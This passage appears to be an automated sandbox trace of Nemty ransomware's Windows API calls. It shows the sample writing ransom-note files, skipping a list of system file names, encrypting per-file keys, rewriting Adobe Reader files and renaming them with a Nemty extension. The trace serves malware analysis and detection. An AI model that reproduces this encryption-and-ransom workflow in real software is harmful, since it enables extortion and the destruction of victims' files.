cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404b8 [0187.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0187.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0187.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.498] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.498] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0187.499] CloseHandle (hObject=0x2f0) returned 1 [0187.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0187.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340400 [0187.499] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2366f2d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2366f2d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0187.500] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0187.500] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2366f2d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2366f2d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0187.500] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0187.500] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0187.500] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x132cc, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0187.500] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0187.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404b8 [0187.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0187.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.501] Sleep (dwMilliseconds=0x5) [0187.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23695430, dwHighDateTime=0x1d561e8)) [0187.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23695430, dwHighDateTime=0x1d561e8)) [0187.510] GetLastError () returned 0xb7 [0187.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.510] GetLastError () returned 0xb7 [0187.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.510] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.510] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.510] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.510] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="P4nUobxjYewIjCCD39u0e2DdvOzTcAHM3JUjsb+ZS1vmZSIjBNu2VRnoTuMEYhAb\r\nve4BYV6dotIASrVkW7UeeqtsEyOZJQeiUfkm6Hyn8zNBMB5o7Ikhs4RzqHlv2kfC\r\nZqFD6TLJ8C88Ec+Piloj4XTx7JiOWzE5QBp1zznyy0RaGdWVZ58GXfYBebREaOJH\r\nuuZBGDrcZ8zzASOjiwMSl4TTEBoca3btKgok79RS0entgBTTunofIn2xYF2a6Mea\r\nv/VKIfVql9Eem+gLLD60CHKR0hWrenMh72TcOJmA6SUtrmS/MpdoMUtXGQa85XlQ\r\nn4nkgCcllr28CkIAAhuAJA==\r\n", pcchString=0x653df5c) returned 1 [0187.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.511] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=78540) returned 1 [0187.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x132c0) returned 0x6352c48 [0187.511] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.511] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x132c0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x132c0, lpOverlapped=0x0) returned 1 [0187.518] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.518] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x132c0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x132c0, lpOverlapped=0x0) returned 1 [0187.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.519] SetFilePointer (in: hFile=0x320, lDistanceToMove=78540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x132cc [0187.519] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.519] CloseHandle (hObject=0x320) returned 1 [0187.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.519] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0187.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.520] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb7c2, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2=".") returned 1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="..") returned 1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="...") returned 1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="windows") returned -1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="rsa") returned -1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="NTDETECT.COM") returned -1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="ntldr") returned -1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="MSDOS.SYS") returned -1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="IO.SYS") returned -1 [0187.520] lstrcmpiW (lpString1="Hanko.pdf", lpString2="boot.ini") returned 1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="boot.ini") returned 1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="ntuser.dat") returned -1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="desktop.ini") returned 1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="CONFIG.SYS") returned 1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="RECYCLER") returned -1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="bootmgr") returned 1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="programdata") returned -1 [0187.521] lstrcmpiW (lpString1="Hanko.pdf", lpString2="appdata") returned 1 [0187.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0187.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0187.521] Sleep (dwMilliseconds=0x5) [0187.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x236bb590, dwHighDateTime=0x1d561e8)) [0187.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x236bb590, dwHighDateTime=0x1d561e8)) [0187.525] GetLastError () returned 0x0 [0187.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.526] GetLastError () returned 0x0 [0187.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.526] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.526] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.526] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.526] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="rVFl8Q3EQoQ4hQ1jPg7GAgALGN0JG7D1yfvrwiOUHOGkUWizIYzuiJg1ndCB3g7a\r\nln26FCZUwxWLwwyyAH2BWR2d16m+/RYIYo3L8ZC8ar3xeMUN7UtpPUKePnofQxOH\r\nzfSdq9YOAiQ5UPlZ52QVVKfQ5rW99M7UMFC+euOUKXXxahuuUtrRTQAiPQxLuV+L\r\nuuWEhQ6P1zEXL0HfOuS4uNDCq+M/CDiEpYMqyNbfc6gFqXCL6eevGPMAYqVVDLD8\r\nKMApBSRH8u7yvyLUCjilNJlXSuXOLMsW5SpeVrTFsVO68PLEQVGRN8XPiQBkOXJj\r\nJaLk3YJK9d3onUf17SkfnQ==\r\n", pcchString=0x653df5c) returned 1 [0187.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 